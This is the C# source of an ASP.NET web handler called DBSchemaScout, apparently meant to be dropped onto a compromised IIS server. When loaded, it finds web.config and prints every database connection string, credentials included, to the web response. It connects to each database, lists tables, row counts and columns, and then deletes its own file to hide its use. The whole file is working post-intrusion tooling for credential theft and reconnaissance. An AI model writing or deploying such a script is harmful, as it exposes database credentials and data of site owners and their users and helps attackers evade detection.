<%@ WebHandler Language="C#" Class="DBSchemaScout" %>
using System;
using System.IO;
using System.Data;
using System.Data.SqlClient;
using System.Web;
using System.Collections.Generic;
using System.Xml;
using System.Text.RegularExpressions;

public class DBSchemaScout : IHttpHandler
{
    public void ProcessRequest(HttpContext ctx)
    {
        ctx.Response.ContentType = "text/plain; charset=utf-8";
        try
        {
            var currentDir = Path.GetDirectoryName(ctx.Server.MapPath("."));
            var configPath = FindWebConfig(currentDir);
            if (configPath == null)
            {
                Write(ctx, "ERROR: web.config not found (searched from " + currentDir + ")");
                return;
            }

            Write(ctx, "Config: " + configPath);
            var xml = new XmlDocument();
            xml.Load(configPath);
            var nsmgr = new XmlNamespaceManager(xml.NameTable);
            nsmgr.AddNamespace("ns", "http://schemas.microsoft.com/.NetConfiguration/v2.0");

            var nodes = xml.SelectNodes("//ns:connectionStrings/ns:add", nsmgr);
            if (nodes == null || nodes.Count == 0)
                nodes = xml.SelectNodes("//connectionStrings/add");

            int idx = 0;
            foreach (XmlNode node in nodes)
            {
                idx++;
                var name = GetAttr(node, "name");
                var rawCs = GetAttr(node, "connectionString");
                Write(ctx, string.Format("=== DB #{0}: {1} ===", idx, name));
                Write(ctx, string.Format("ConnectionString: {0}", rawCs));

                // Strip unsupported keywords before parsing
                var cs = CleanConnectionString(rawCs);

                try
                {
                    var sb = new SqlConnectionStringBuilder(cs);
                    var server = sb.DataSource;
                    var db = sb.InitialCatalog;

                    using (var conn = new SqlConnection(cs))
                    {
                        conn.Open();
                        Write(ctx, string.Format("Status: Connected | Server={0} | Database={1}", server, db));
                        DumpSchema(ctx, conn);
                    }
                }
                catch (Exception ex)
                {
                    Write(ctx, string.Format("ERROR: {0}", ex.Message));
                }
                Write(ctx, "");
            }
        }
        catch (Exception ex)
        {
            Write(ctx, string.Format("FATAL: {0}", ex.ToString()));
        }

        // Self-delete
        try { File.Delete(ctx.Server.MapPath(".") + "/" + Path.GetFileName(ctx.Request.Path)); }
        catch { Write(ctx, "WARN: self-delete failed (may need write permission on parent dir)"); }
    }

    private void DumpSchema(HttpContext ctx, SqlConnection conn)
    {
        var tables = new List<Dictionary<string, object>>();
        using (var cmd = new SqlCommand(@"
            SELECT t.TABLE_NAME, 
                   ISNULL((SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS c WHERE c.TABLE_NAME = t.TABLE_NAME AND c.TABLE_SCHEMA = t.TABLE_SCHEMA), 0) AS COL_COUNT,
                   ISNULL(s.rows, 0) AS ROW_COUNT
            FROM INFORMATION_SCHEMA.TABLES t
            LEFT JOIN (
                SELECT OBJECT_NAME(id) AS TABLE_NAME, CAST(SUM(rowcnt) AS bigint) AS rows
                FROM sys.sysindexes
                WHERE indid IN (0,1) AND id > 0
                GROUP BY OBJECT_NAME(id)
            ) s ON t.TABLE_NAME = s.TABLE_NAME
            WHERE t.TABLE_TYPE = 'BASE TABLE'
            ORDER BY t.TABLE_NAME", conn))
        using (var reader = cmd.ExecuteReader())
        {
            while (reader.Read())
            {
                var dict = new Dictionary<string, object>();
                dict["table"] = reader.GetString(0);
                dict["col_count"] = Convert.ToInt32(reader.GetValue(1));
                dict["row_count"] = Convert.ToInt64(reader.GetValue(2));
                tables.Add(dict);
            }
        }

        long totalRows = 0, totalCols = 0;
        Write(ctx, string.Format("Tables found: {0}", tables.Count));
        foreach (var t in tables)
        {
            var tname = t["table"].ToString();
            var rows = Convert.ToInt64(t["row_count"]);
            var cols = Convert.ToInt32(t["col_count"]);
            totalRows += rows;
            totalCols += cols;
            Write(ctx, string.Format("  {0} ({1} rows, {2} cols)", tname, rows, cols));

            using (var cmd2 = new SqlCommand("SELECT COLUMN_NAME, DATA_TYPE FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = @t", conn))
            {
                cmd2.Parameters.AddWithValue("@t", tname);
                using (var r2 = cmd2.ExecuteReader())
                {
                    int c = 0;
                    while (r2.Read())
                    {
                        if (c < 5)
                            Write(ctx, string.Format("    {0}: {1}", r2.GetString(0), r2.GetString(1)));
                        c++;
                    }
                    if (c > 5)
                        Write(ctx, string.Format("    ... +{0} more columns", c - 5));
                }
            }
        }
        Write(ctx, string.Format("Summary: {0} tables, {1} columns, {2} total rows", tables.Count, totalCols, totalRows));
    }

    private string CleanConnectionString(string raw)
    {
        // Remove keywords that SqlConnectionStringBuilder doesn't support
        var unsupported = new string[] { "version", "provider", "drivers" };
        string result = raw;
        foreach (var kw in unsupported)
        {
            result = Regex.Replace(result, @"\b" + kw + @"\s*=\s*[^;]+;?", "", RegexOptions.IgnoreCase);
        }
        // Remove trailing junk after the last known-good keyword
        return result.TrimEnd(';').Trim();
    }

    private string FindWebConfig(string dir)
    {
        var d = new DirectoryInfo(dir);
        while (d != null)
        {
            var candidate = Path.Combine(d.FullName, "web.config");
            if (File.Exists(candidate))
                return candidate;
            d = d.Parent;
        }
        return null;
    }

    private string GetAttr(XmlNode node, string name)
    {
        var a = node.Attributes[name];
        if (a == null) return "";
        return a.Value;
    }

    private void Write(HttpContext ctx, string line)
    {
        ctx.Response.Write(line + "\n");
    }

    public bool IsReusable
    {
        get { return false; }
    }
}